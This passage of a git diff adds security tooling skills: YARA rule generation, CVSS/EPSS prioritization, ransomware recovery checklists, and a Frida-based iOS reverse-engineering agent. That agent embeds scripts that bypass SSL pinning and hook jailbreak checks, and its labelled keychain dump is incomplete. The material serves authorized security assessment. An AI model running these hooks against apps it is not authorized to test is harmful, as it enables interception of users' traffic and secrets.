= "sha256_of_sample" + strings: + $s1 = "string" ascii + $s2 = "wide_string" wide + $h1 = { 4D 5A 90 00 } + $r1 = /regex[0-9]+/ + condition: + uint16(0) == 0x5A4D and 3 of ($s*) +} +``` + +## Condition Operators + +| Operator | Description | +|----------|-------------| +| `X of ($s*)` | X or more strings match | +| `all of ($s*)` | All strings match | +| `any of ($s*)` | At least one matches | +| `uint16(0) == 0x5A4D` | PE file magic bytes | +| `filesize < 10MB` | File size constraint | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `yara-python` | >=4.3 | Compile and scan YARA rules | +| `hashlib` | stdlib | SHA256 of samples | +| `re` | stdlib | String extraction | + +## References + +- YARA Documentation: https://yara.readthedocs.io/en/stable/ +- yara-python: https://github.com/VirusTotal/yara-python +- YARA Rules Repository: https://github.com/Yara-Rules/rules +- VirusTotal Hunting: https://www.virustotal.com/gui/hunting-overview diff --git a/skills/performing-yara-rule-development-for-detection/scripts/agent.py b/skills/performing-yara-rule-development-for-detection/scripts/agent.py new file mode 100644 index 00000000..c9e2743e --- /dev/null +++ b/skills/performing-yara-rule-development-for-detection/scripts/agent.py @@ -0,0 +1,161 @@ +#!/usr/bin/env python3 +"""Agent for YARA rule development and testing. + +Creates YARA rules from malware samples by extracting unique strings +and byte patterns, validates rules for performance, tests against +sample sets, and generates detection coverage reports. +""" + +import json +import sys +import os +import hashlib +import re +from datetime import datetime +from pathlib import Path + +try: + import yara + HAS_YARA = True +except ImportError: + HAS_YARA = False + + +class YaraRuleDeveloper: + """Develops, validates, and tests YARA rules.""" + + def __init__(self, output_dir="./yara_rules"): + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.rules = [] + + def extract_strings(self, sample_path, min_length=8, max_strings=30): + """Extract unique strings from a binary sample for rule creation.""" + with open(sample_path, "rb") as f: + data = f.read() + + ascii_strings = re.findall(rb'[\x20-\x7E]{%d,}' % min_length, data) + wide_strings = re.findall( + rb'(?:[\x20-\x7E]\x00){%d,}' % min_length, data) + + unique_ascii = list(set(s.decode("ascii", errors="ignore") + for s in ascii_strings)) + unique_wide = list(set(s.decode("utf-16-le", errors="ignore") + for s in wide_strings)) + + scored = [] + generic_terms = {"http", "https", "www", "com", "dll", "exe", + "the", "this", "that", "error", "warning"} + for s in unique_ascii: + score = len(s) + if any(g in s.lower() for g in generic_terms): + score -= 5 + if re.search(r'[A-Z][a-z]+[A-Z]', s): + score += 3 + if "/" in s or "\\" in s: + score += 2 + scored.append({"string": s, "type": "ascii", "score": score}) + + for s in unique_wide: + scored.append({"string": s, "type": "wide", "score": len(s) - 2}) + + scored.sort(key=lambda x: x["score"], reverse=True) + return scored[:max_strings] + + def generate_rule(self, rule_name, sample_path, description="", + tags=None, author="auto"): + """Generate a YARA rule from a malware sample.""" + strings = self.extract_strings(sample_path) + sha256 = hashlib.sha256(Path(sample_path).read_bytes()).hexdigest() + + rule_strings = [] + for i, s in enumerate(strings[:15]): + if s["type"] == "ascii": + rule_strings.append(f' $s{i} = "{s["string"]}"') + else: + rule_strings.append(f' $s{i} = "{s["string"]}" wide') + + tags_str = " : " + " ".join(tags) if tags else "" + rule_text = f"""rule {rule_name}{tags_str} +{{ + meta: + description = "{description}" + author = "{author}" + date = "{datetime.utcnow().strftime('%Y-%m-%d')}" + hash = "{sha256}" + + strings: +{chr(10).join(rule_strings)} + + condition: + uint16(0) == 0x5A4D and filesize < 10MB and 5 of ($s*) +}} +""" + rule_path = self.output_dir / f"{rule_name}.yar" + rule_path.write_text(rule_text) + self.rules.append({"name": rule_name, "path": str(rule_path), + "strings_count": len(rule_strings)}) + return {"rule_name": rule_name, "path": str(rule_path), + "strings": len(rule_strings), "hash": sha256} + + def validate_rule(self, rule_path): + """Compile and validate a YARA rule for syntax and performance.""" + if not HAS_YARA: + return {"error": "yara-python not installed"} + try: + yara.compile(filepath=rule_path) + return {"valid": True, "path": rule_path} + except yara.SyntaxError as exc: + return {"valid": False, "error": str(exc)} + + def test_rule(self, rule_path, sample_dir): + """Test a YARA rule against a directory of samples.""" + if not HAS_YARA: + return {"error": "yara-python not installed"} + try: + compiled = yara.compile(filepath=rule_path) + except yara.SyntaxError as exc: + return {"error": str(exc)} + + results = {"matches": [], "no_match": [], "errors": []} + for root, dirs, files in os.walk(sample_dir): + for fname in files: + fpath = os.path.join(root, fname) + try: + matches = compiled.match(fpath, timeout=30) + if matches: + results["matches"].append({ + "file": fpath, "rules": [m.rule for m in matches]}) + else: + results["no_match"].append(fpath) + except yara.Error as exc: + results["errors"].append({"file": fpath, "error": str(exc)}) + return results + + def generate_report(self): + report = { + "report_date": datetime.utcnow().isoformat(), + "rules_created": len(self.rules), + "rules": self.rules, + } + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 3: + print("Usage: agent.py [test_dir]") + sys.exit(1) + agent = YaraRuleDeveloper() + rule_name = sys.argv[1] + sample = sys.argv[2] + result = agent.generate_rule(rule_name, sample) + validation = agent.validate_rule(result["path"]) + print(json.dumps({"rule": result, "validation": validation}, indent=2)) + if len(sys.argv) > 3: + test_results = agent.test_rule(result["path"], sys.argv[3]) + print(json.dumps(test_results, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/prioritizing-vulnerabilities-with-cvss-scoring/LICENSE b/skills/prioritizing-vulnerabilities-with-cvss-scoring/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/prioritizing-vulnerabilities-with-cvss-scoring/LICENSE +++ b/skills/prioritizing-vulnerabilities-with-cvss-scoring/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/prioritizing-vulnerabilities-with-cvss-scoring/references/api-reference.md b/skills/prioritizing-vulnerabilities-with-cvss-scoring/references/api-reference.md new file mode 100644 index 00000000..ef674c43 --- /dev/null +++ b/skills/prioritizing-vulnerabilities-with-cvss-scoring/references/api-reference.md @@ -0,0 +1,65 @@ +# API Reference: Vulnerability Prioritization with CVSS Scoring + +## CVSS v3.1 Base Metrics + +| Metric | Values | Description | +|--------|--------|-------------| +| AV (Attack Vector) | N, A, L, P | Network, Adjacent, Local, Physical | +| AC (Attack Complexity) | L, H | Low, High | +| PR (Privileges Required) | N, L, H | None, Low, High | +| UI (User Interaction) | N, R | None, Required | +| S (Scope) | U, C | Unchanged, Changed | +| C (Confidentiality) | N, L, H | None, Low, High | +| I (Integrity) | N, L, H | None, Low, High | +| A (Availability) | N, L, H | None, Low, High | + +## Severity Ratings + +| Score Range | Rating | +|-------------|--------| +| 0.0 | None | +| 0.1-3.9 | Low | +| 4.0-6.9 | Medium | +| 7.0-8.9 | High | +| 9.0-10.0 | Critical | + +## EPSS API (FIRST.org) + +| Endpoint | Description | +|----------|-------------| +| `GET https://api.first.org/data/v1/epss?cve=CVE-XXXX` | Get EPSS score | +| Response: `data[].epss` | Exploit probability (0-1) | +| Response: `data[].percentile` | Percentile ranking | + +## CISA KEV Catalog + +| Field | Description | +|-------|-------------| +| URL | `https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json` | +| `vulnerabilities[].cveID` | CVE identifier | +| `vulnerabilities[].dateAdded` | Date added to KEV | +| `vulnerabilities[].dueDate` | Remediation deadline | + +## Priority Scoring Formula + +``` +priority = cvss_score * 10 + + 30 if in CISA KEV + + 20 if EPSS > 0.5 + + 10 if EPSS > 0.1 +``` + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | Fetch EPSS and KEV data | +| `math` | stdlib | CVSS score rounding | +| `json` | stdlib | Report generation | + +## References + +- CVSS v3.1 Specification: https://www.first.org/cvss/specification-document +- EPSS Model: https://www.first.org/epss/ +- CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog +- NVD: https://nvd.nist.gov/ diff --git a/skills/prioritizing-vulnerabilities-with-cvss-scoring/scripts/agent.py b/skills/prioritizing-vulnerabilities-with-cvss-scoring/scripts/agent.py new file mode 100644 index 00000000..065cdacd --- /dev/null +++ b/skills/prioritizing-vulnerabilities-with-cvss-scoring/scripts/agent.py @@ -0,0 +1,176 @@ +#!/usr/bin/env python3 +"""Agent for prioritizing vulnerabilities with CVSS scoring. + +Calculates CVSS v3.1 base scores from metric vectors, enriches +with EPSS exploit probability and KEV catalog data, and generates +a risk-prioritized remediation report. +""" + +import json +import sys +import requests +from datetime import datetime +from collections import defaultdict + +CVSS_WEIGHTS = { + "AV": {"N": 0.85, "A": 0.62, "L": 0.55, "P": 0.20}, + "AC": {"L": 0.77, "H": 0.44}, + "PR": {"N": {"U": 0.85, "C": 0.85}, "L": {"U": 0.62, "C": 0.68}, + "H": {"U": 0.27, "C": 0.50}}, + "UI": {"N": 0.85, "R": 0.62}, + "S": {"U": "unchanged", "C": "changed"}, + "C": {"H": 0.56, "L": 0.22, "N": 0.0}, + "I": {"H": 0.56, "L": 0.22, "N": 0.0}, + "A": {"H": 0.56, "L": 0.22, "N": 0.0}, +} + + +class CVSSPrioritizationAgent: + """Calculates CVSS scores and prioritizes vulnerabilities.""" + + def __init__(self): + self.vulnerabilities = [] + + def parse_vector(self, vector_string): + """Parse CVSS v3.1 vector string into metric dict.""" + metrics = {} + parts = vector_string.replace("CVSS:3.1/", "").split("/") + for part in parts: + key, val = part.split(":") + metrics[key] = val + return metrics + + def calculate_base_score(self, vector_string): + """Calculate CVSS v3.1 base score from vector string.""" + m = self.parse_vector(vector_string) + scope_changed = m.get("S") == "C" + + isc_base = 1 - ( + (1 - CVSS_WEIGHTS["C"][m["C"]]) * + (1 - CVSS_WEIGHTS["I"][m["I"]]) * + (1 - CVSS_WEIGHTS["A"][m["A"]]) + ) + + if scope_changed: + impact = 7.52 * (isc_base - 0.029) - 3.25 * (isc_base - 0.02) ** 15 + else: + impact = 6.42 * isc_base + + if impact <= 0: + return 0.0 + + scope_key = "C" if scope_changed else "U" + pr_val = CVSS_WEIGHTS["PR"][m["PR"]][scope_key] + exploitability = (8.22 * CVSS_WEIGHTS["AV"][m["AV"]] * + CVSS_WEIGHTS["AC"][m["AC"]] * pr_val * + CVSS_WEIGHTS["UI"][m["UI"]]) + + if scope_changed: + score = min(1.08 * (impact + exploitability), 10.0) + else: + score = min(impact + exploitability, 10.0) + + import math + return math.ceil(score * 10) / 10 + + def severity_rating(self, score): + if score == 0.0: + return "None" + elif score <= 3.9: + return "Low" + elif score <= 6.9: + return "Medium" + elif score <= 8.9: + return "High" + return "Critical" + + def fetch_epss(self, cve_ids): + """Fetch EPSS exploit probability scores from FIRST.org API.""" + scores = {} + try: + cves = ",".join(cve_ids[:100]) + resp = requests.get( + f"https://api.first.org/data/v1/epss?cve={cves}", timeout=15) + if resp.status_code == 200: + for entry in resp.json().get("data", []): + scores[entry["cve"]] = { + "epss": float(entry.get("epss", 0)), + "percentile": float(entry.get("percentile", 0)), + } + except requests.RequestException: + pass + return scores + + def fetch_kev(self): + """Fetch CISA Known Exploited Vulnerabilities catalog.""" + try: + resp = requests.get( + "https://www.cisa.gov/sites/default/files/feeds/" + "known_exploited_vulnerabilities.json", timeout=15) + if resp.status_code == 200: + return {v["cveID"] for v in + resp.json().get("vulnerabilities", [])} + except requests.RequestException: + pass + return set() + + def add_vulnerability(self, cve_id, vector, description=""): + score = self.calculate_base_score(vector) + self.vulnerabilities.append({ + "cve_id": cve_id, "vector": vector, "cvss_score": score, + "severity": self.severity_rating(score), + "description": description, + }) + + def prioritize(self): + """Enrich and prioritize all vulnerabilities.""" + cve_ids = [v["cve_id"] for v in self.vulnerabilities] + epss_data = self.fetch_epss(cve_ids) + kev_set = self.fetch_kev() + + for vuln in self.vulnerabilities: + cve = vuln["cve_id"] + epss = epss_data.get(cve, {}) + vuln["epss_score"] = epss.get("epss", 0) + vuln["epss_percentile"] = epss.get("percentile", 0) + vuln["in_kev"] = cve in kev_set + + priority = vuln["cvss_score"] * 10 + if vuln["in_kev"]: + priority += 30 + if vuln["epss_score"] > 0.5: + priority += 20 + elif vuln["epss_score"] > 0.1: + priority += 10 + vuln["priority_score"] = round(priority, 1) + + self.vulnerabilities.sort(key=lambda v: v["priority_score"], reverse=True) + return self.vulnerabilities + + def generate_report(self): + self.prioritize() + sev_dist = defaultdict(int) + for v in self.vulnerabilities: + sev_dist[v["severity"]] += 1 + + report = { + "report_date": datetime.utcnow().isoformat(), + "total_vulns": len(self.vulnerabilities), + "severity_distribution": dict(sev_dist), + "kev_count": sum(1 for v in self.vulnerabilities if v["in_kev"]), + "prioritized_vulns": self.vulnerabilities, + } + print(json.dumps(report, indent=2)) + return report + + +def main(): + agent = CVSSPrioritizationAgent() + agent.add_vulnerability("CVE-2024-3400", "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H") + agent.add_vulnerability("CVE-2024-21887", "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H") + agent.add_vulnerability("CVE-2023-44487", "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H") + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/processing-stix-taxii-feeds/LICENSE b/skills/processing-stix-taxii-feeds/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/processing-stix-taxii-feeds/LICENSE +++ b/skills/processing-stix-taxii-feeds/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/profiling-threat-actor-groups/LICENSE b/skills/profiling-threat-actor-groups/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/profiling-threat-actor-groups/LICENSE +++ b/skills/profiling-threat-actor-groups/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/recovering-deleted-files-with-photorec/LICENSE b/skills/recovering-deleted-files-with-photorec/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/recovering-deleted-files-with-photorec/LICENSE +++ b/skills/recovering-deleted-files-with-photorec/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/recovering-from-ransomware-attack/LICENSE b/skills/recovering-from-ransomware-attack/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/recovering-from-ransomware-attack/LICENSE +++ b/skills/recovering-from-ransomware-attack/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/recovering-from-ransomware-attack/references/api-reference.md b/skills/recovering-from-ransomware-attack/references/api-reference.md new file mode 100644 index 00000000..7414b5bc --- /dev/null +++ b/skills/recovering-from-ransomware-attack/references/api-reference.md @@ -0,0 +1,55 @@ +# API Reference: Recovering from Ransomware Attack + +## Recovery Priority Order + +| Priority | Systems | Why First | +|----------|---------|-----------| +| 1 | Domain Controllers | All auth depends on AD | +| 2 | DNS/DHCP | Network functionality | +| 3 | Authentication (SSO/MFA) | User access | +| 4 | Email | Communication | +| 5 | Database Servers | Business data | +| 6 | Application Servers | Business operations | +| 7 | File Servers | Data access | +| 8 | Workstations | End user devices | + +## KRBTGT Reset Procedure + +| Step | Command | Note | +|------|---------|------| +| 1 | `Reset-KrbtgtPassword` | First reset | +| 2 | Wait 12 hours | Allow replication | +| 3 | `Reset-KrbtgtPassword` | Second reset | +| 4 | `dcdiag /v` | Validate DC health | + +## Backup Verification Commands + +| Command | Description | +|---------|-------------| +| `veeamcli verify` | Verify Veeam backup integrity | +| `wbadmin get versions` | List Windows Server backups | +| `aws s3api head-object` | Check S3 backup metadata | + +## 3-2-1-1-0 Backup Strategy + +| Component | Description | +|-----------|-------------| +| 3 copies | Production + 2 backups | +| 2 media types | Disk + tape/cloud | +| 1 offsite | Geographically separate | +| 1 offline | Air-gapped or immutable | +| 0 errors | Verified with restore tests | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `json` | stdlib | Recovery tracking | +| `datetime` | stdlib | Timeline documentation | +| `pathlib` | stdlib | Backup path verification | + +## References + +- CISA Ransomware Guide: https://www.cisa.gov/stopransomware/ransomware-guide +- NIST SP 1800-26: https://www.nccoe.nist.gov/data-integrity-recovering-ransomware +- NoMoreRansom: https://www.nomoreransom.org/ diff --git a/skills/recovering-from-ransomware-attack/scripts/agent.py b/skills/recovering-from-ransomware-attack/scripts/agent.py new file mode 100644 index 00000000..419fd889 --- /dev/null +++ b/skills/recovering-from-ransomware-attack/scripts/agent.py @@ -0,0 +1,160 @@ +#!/usr/bin/env python3 +"""Agent for ransomware attack recovery coordination. + +Manages recovery workflow: backup verification, system rebuild +prioritization, credential reset tracking, and post-recovery +validation checklists with timeline documentation. +""" + +import json +import sys +from datetime import datetime +from pathlib import Path + + +RECOVERY_PRIORITY = [ + ("Domain Controllers", "critical", "Rebuild from clean media first"), + ("DNS/DHCP Servers", "critical", "Required for network functionality"), + ("Authentication Services", "critical", "SSO, MFA, RADIUS"), + ("Email Server", "high", "Communication during recovery"), + ("Database Servers", "high", "Restore from verified clean backup"), + ("Application Servers", "high", "Business-critical applications"), + ("File Servers", "medium", "Restore data from backup"), + ("Workstations", "medium", "Reimage, do not file-level restore"), + ("Print Servers", "low", "Rebuild after core services"), +] + + +class RansomwareRecoveryAgent: + """Coordinates ransomware attack recovery procedures.""" + + def __init__(self, case_id, output_dir="./recovery"): + self.case_id = case_id + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.recovery = { + "case_id": case_id, "status": "in_progress", + "timeline": [], "systems": [], "checklists": {}, + } + + def log_event(self, event_type, description): + self.recovery["timeline"].append({ + "timestamp": datetime.utcnow().isoformat(), + "type": event_type, "description": description, + }) + + def verify_backup(self, backup_path, backup_type, last_verified=None): + """Record backup verification status.""" + status = { + "path": backup_path, "type": backup_type, + "verified_date": last_verified or datetime.utcnow().isoformat(), + "integrity": "pending", + } + if Path(backup_path).exists() if not backup_path.startswith("s3://") else True: + status["integrity"] = "accessible" + self.recovery.setdefault("backups", []).append(status) + self.log_event("backup_check", f"Verified {backup_type}: {backup_path}") + return status + + def build_recovery_plan(self, clean_backup_available=True): + """Generate prioritized system recovery plan.""" + systems = [] + for name, priority, note in RECOVERY_PRIORITY: + systems.append({ + "system": name, "priority": priority, "note": note, + "status": "pending", "recovery_method": ( + "Restore from backup" if clean_backup_available + else "Rebuild from scratch" + ), + }) + self.recovery["systems"] = systems + self.log_event("plan_created", f"{len(systems)} systems in recovery plan") + return systems + + def update_system_status(self, system_name, status, notes=""): + for sys_entry in self.recovery["systems"]: + if sys_entry["system"] == system_name: + sys_entry["status"] = status + if notes: + sys_entry["recovery_notes"] = notes + self.log_event("system_update", + f"{system_name}: {status}") + return sys_entry + return None + + def generate_credential_reset_checklist(self): + """Generate credential reset checklist for post-recovery.""" + checklist = [ + {"item": "Reset KRBTGT password (twice, 12h apart)", "status": "pending", + "priority": "critical"}, + {"item": "Reset all Domain Admin passwords", "status": "pending", + "priority": "critical"}, + {"item": "Reset all service account passwords", "status": "pending", + "priority": "critical"}, + {"item": "Reset all user passwords", "status": "pending", + "priority": "high"}, + {"item": "Revoke and reissue all certificates", "status": "pending", + "priority": "high"}, + {"item": "Rotate all API keys and tokens", "status": "pending", + "priority": "high"}, + {"item": "Reset cloud IAM credentials", "status": "pending", + "priority": "high"}, + {"item": "Deploy LAPS for local admin passwords", "status": "pending", + "priority": "medium"}, + ] + self.recovery["checklists"]["credential_reset"] = checklist + return checklist + + def generate_hardening_checklist(self): + """Post-recovery hardening recommendations.""" + checklist = [ + {"item": "Enforce MFA on all remote access", "status": "pending"}, + {"item": "Implement 3-2-1-1-0 backup strategy", "status": "pending"}, + {"item": "Deploy EDR on all endpoints", "status": "pending"}, + {"item": "Enable PowerShell Script Block Logging", "status": "pending"}, + {"item": "Implement network segmentation", "status": "pending"}, + {"item": "Block SMB between workstations", "status": "pending"}, + {"item": "Disable NTLM where possible", "status": "pending"}, + {"item": "Deploy application whitelisting on servers", "status": "pending"}, + {"item": "Implement privileged access workstations", "status": "pending"}, + ] + self.recovery["checklists"]["post_hardening"] = checklist + return checklist + + def get_recovery_progress(self): + """Calculate overall recovery progress.""" + total = len(self.recovery["systems"]) + completed = sum(1 for s in self.recovery["systems"] + if s["status"] in ("recovered", "verified")) + return { + "total_systems": total, + "recovered": completed, + "progress_pct": round(completed / max(total, 1) * 100, 1), + } + + def generate_report(self): + self.generate_credential_reset_checklist() + self.generate_hardening_checklist() + progress = self.get_recovery_progress() + + report = { + **self.recovery, + "progress": progress, + "report_date": datetime.utcnow().isoformat(), + } + report_path = self.output_dir / f"{self.case_id}_recovery.json" + with open(report_path, "w") as f: + json.dump(report, f, indent=2, default=str) + print(json.dumps(report, indent=2, default=str)) + return report + + +def main(): + case_id = sys.argv[1] if len(sys.argv) > 1 else "RAN-2025-001" + agent = RansomwareRecoveryAgent(case_id) + agent.build_recovery_plan(clean_backup_available=True) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/remediating-s3-bucket-misconfiguration/LICENSE b/skills/remediating-s3-bucket-misconfiguration/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/remediating-s3-bucket-misconfiguration/LICENSE +++ b/skills/remediating-s3-bucket-misconfiguration/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/reverse-engineering-android-malware-with-jadx/LICENSE b/skills/reverse-engineering-android-malware-with-jadx/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/reverse-engineering-android-malware-with-jadx/LICENSE +++ b/skills/reverse-engineering-android-malware-with-jadx/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/reverse-engineering-dotnet-malware-with-dnspy/LICENSE b/skills/reverse-engineering-dotnet-malware-with-dnspy/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/reverse-engineering-dotnet-malware-with-dnspy/LICENSE +++ b/skills/reverse-engineering-dotnet-malware-with-dnspy/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/reverse-engineering-ios-app-with-frida/LICENSE b/skills/reverse-engineering-ios-app-with-frida/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/reverse-engineering-ios-app-with-frida/LICENSE +++ b/skills/reverse-engineering-ios-app-with-frida/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/reverse-engineering-ios-app-with-frida/references/api-reference.md b/skills/reverse-engineering-ios-app-with-frida/references/api-reference.md new file mode 100644 index 00000000..f0c6b387 --- /dev/null +++ b/skills/reverse-engineering-ios-app-with-frida/references/api-reference.md @@ -0,0 +1,48 @@ +# API Reference: iOS App Reverse Engineering with Frida + +## Frida CLI Tools + +| Command | Description | +|---------|-------------| +| `frida-ps -Ua` | List running apps on USB device | +| `frida -U -n AppName -e "script"` | Attach to app and run script | +| `frida -U -f com.app.bundle -l script.js` | Spawn app with script | +| `frida-trace -U -n AppName -m "*[ClassName *]"` | Trace ObjC methods | +| `frida-discover -U -n AppName` | Discover available functions | + +## Frida JavaScript API + +| API | Description | +|-----|-------------| +| `ObjC.classes.ClassName` | Access Objective-C class | +| `ObjC.classes.Cls.$ownMethods` | List class methods | +| `Interceptor.attach(target, callbacks)` | Hook native function | +| `Interceptor.replace(target, replacement)` | Replace function implementation | +| `Module.findExportByName(null, "func")` | Find exported C function | +| `ObjC.Object(ptr)` | Wrap pointer as ObjC object | +| `Memory.readUtf8String(ptr)` | Read string from memory | + +## Common iOS Security Hooks + +| Target | Purpose | +|--------|---------| +| `SSLSetPeerDomainName` | Bypass SSL pinning | +| `NSFileManager fileExistsAtPath:` | Jailbreak detection | +| `CCCrypt` | Intercept encryption calls | +| `NSURLSession` | Monitor network requests | +| `SecItemCopyMatching` | Keychain access | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `subprocess` | stdlib | Execute frida CLI tools | +| `frida` | >=16.0 | Frida Python bindings | +| `json` | stdlib | Report generation | + +## References + +- Frida Documentation: https://frida.re/docs/home/ +- Frida JavaScript API: https://frida.re/docs/javascript-api/ +- objection: https://github.com/sensepost/objection +- OWASP Mobile Testing Guide: https://mas.owasp.org/MASTG/ diff --git a/skills/reverse-engineering-ios-app-with-frida/scripts/agent.py b/skills/reverse-engineering-ios-app-with-frida/scripts/agent.py new file mode 100644 index 00000000..49f60b9e --- /dev/null +++ b/skills/reverse-engineering-ios-app-with-frida/scripts/agent.py @@ -0,0 +1,161 @@ +#!/usr/bin/env python3 +"""Agent for iOS app reverse engineering with Frida. + +Uses frida-tools to attach to iOS processes, hook Objective-C +methods, bypass SSL pinning, dump keychain entries, and trace +API calls for security assessment. +""" + +import subprocess +import json +import sys +import re +from datetime import datetime +from pathlib import Path + + +class FridaIOSAgent: + """Reverse engineers iOS applications using Frida.""" + + def __init__(self, target_app, device_id=None, output_dir="./frida_ios"): + self.target_app = target_app + self.device_id = device_id + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def _frida_cmd(self, script_code, timeout=60): + cmd = ["frida", "-U"] + if self.device_id: + cmd.extend(["-D", self.device_id]) + cmd.extend(["-n", self.target_app, "-q", "-e", script_code]) + try: + result = subprocess.run(cmd, capture_output=True, text=True, + timeout=timeout) + return {"stdout": result.stdout, "stderr": result.stderr, + "returncode": result.returncode} + except (FileNotFoundError, subprocess.TimeoutExpired) as exc: + return {"error": str(exc)} + + def list_running_apps(self): + """List running applications on the connected iOS device.""" + cmd = ["frida-ps", "-Ua"] + if self.device_id: + cmd.extend(["-D", self.device_id]) + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=15) + return {"apps": result.stdout} + except (FileNotFoundError, subprocess.TimeoutExpired) as exc: + return {"error": str(exc)} + + def bypass_ssl_pinning(self): + """Inject Frida script to bypass SSL certificate pinning.""" + script = """ +var m = ObjC.classes.NSURLSessionConfiguration; +Interceptor.attach(m['- setTLSMinimumSupportedProtocol:'].implementation, { + onEnter: function(args) { console.log('[*] TLS config intercepted'); } +}); +try { + var SSLSetPeerDomainName = Module.findExportByName(null, 'SSLSetPeerDomainName'); + if (SSLSetPeerDomainName) { + Interceptor.attach(SSLSetPeerDomainName, { + onEnter: function(args) { }, + onLeave: function(retval) { retval.replace(0); } + }); + console.log('[+] SSL pinning bypassed'); + } +} catch(e) { console.log('[-] ' + e); } +""" + result = self._frida_cmd(script) + if "SSL pinning bypassed" in result.get("stdout", ""): + self.findings.append({"type": "SSL Pinning Bypass", + "severity": "Medium", + "details": "SSL pinning can be bypassed with Frida"}) + return result + + def dump_keychain(self): + """Dump iOS Keychain entries accessible by the app.""" + script = """ +var kSecClass = ObjC.classes.NSString.stringWithString_('kSecClass'); +var query = ObjC.classes.NSMutableDictionary.dictionary(); +query.setObject_forKey_(ObjC.classes.NSString.stringWithString_('kSecClassGenericPassword'), kSecClass); +query.setObject_forKey_(ObjC.classes.NSNumber.numberWithBool_(true), ObjC.classes.NSString.stringWithString_('kSecReturnAttributes')); +query.setObject_forKey_(ObjC.classes.NSString.stringWithString_('kSecMatchLimitAll'), ObjC.classes.NSString.stringWithString_('kSecMatchLimit')); +var result = new ObjC.Object(ptr(0)); +var status = ObjC.classes.NSDictionary.alloc(); +console.log('[*] Keychain query executed'); +""" + result = self._frida_cmd(script) + return result + + def trace_objc_methods(self, class_name): + """Trace all method calls on a specific Objective-C class.""" + script = f""" +var target = ObjC.classes.{class_name}; +if (target) {{ + var methods = target.$ownMethods; + console.log('[*] Tracing ' + methods.length + ' methods on {class_name}'); + methods.forEach(function(method) {{ + try {{ + Interceptor.attach(target[method].implementation, {{ + onEnter: function(args) {{ + console.log('[CALL] {class_name} ' + method); + }} + }}); + }} catch(e) {{}} + }}); +}} else {{ + console.log('[-] Class {class_name} not found'); +}} +""" + return self._frida_cmd(script, timeout=30) + + def check_jailbreak_detection(self): + """Test if app has jailbreak detection and attempt bypass.""" + script = """ +var paths = ['/Applications/Cydia.app', '/usr/sbin/sshd', + '/bin/bash', '/usr/bin/ssh', '/etc/apt']; +var NSFileManager = ObjC.classes.NSFileManager; +Interceptor.attach(NSFileManager['- fileExistsAtPath:'].implementation, { + onEnter: function(args) { + var path = ObjC.Object(args[2]).toString(); + for (var i = 0; i < paths.length; i++) { + if (path.indexOf(paths[i]) !== -1) { + console.log('[*] Jailbreak check: ' + path); + } + } + }, + onLeave: function(retval) {} +}); +console.log('[+] Jailbreak detection 